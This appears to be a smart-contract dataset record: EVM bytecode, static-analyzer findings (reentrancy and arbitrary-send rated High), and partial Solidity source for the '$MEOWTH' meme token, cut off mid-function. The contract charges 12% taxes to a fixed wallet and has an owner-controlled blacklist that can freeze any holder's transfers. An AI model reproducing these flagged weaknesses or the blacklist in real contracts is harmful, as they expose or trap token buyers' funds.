ffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f66494e5500000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d606461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095eca8e1acdb4fdf3a6016ded38ca04b04ed1c3ca7f98b8e8dd83ab39e660ddd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,604
0x86c0dfbb1726217dfea9d0ee1ba387d354d91c29
// SPDX-License-Identifier: UNLICENSED /* Welcome to Meowth Cat Token! ($MEOWTH) Telegram: @MeowthCatERC20 Website : https://www.meowthcat.com/ */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MEOWTHCAT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Meowth Cat"; string private constant _symbol = "$MEOWTH"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x9D7B9706d1300792bdf0aC8D492705E5530F90AE); _buyTax = 12; _sellTax = 12; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function 